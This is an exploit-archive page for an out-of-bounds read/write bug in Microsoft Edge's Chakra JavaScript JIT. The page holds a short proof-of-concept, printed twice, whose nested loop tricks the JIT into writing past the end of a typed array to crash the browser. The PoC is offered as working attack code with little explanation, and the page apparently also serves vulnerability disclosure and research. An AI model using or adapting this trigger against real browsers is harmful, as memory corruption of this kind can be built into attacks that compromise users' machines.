microsoft edge chakra jit outofbounds readswrites

				
/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}
            /*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}
            
				

Microsoft edge chakra jit outofbounds readswrites Vulnerability / Exploit Source : Microsoft edge chakra jit outofbounds readswrites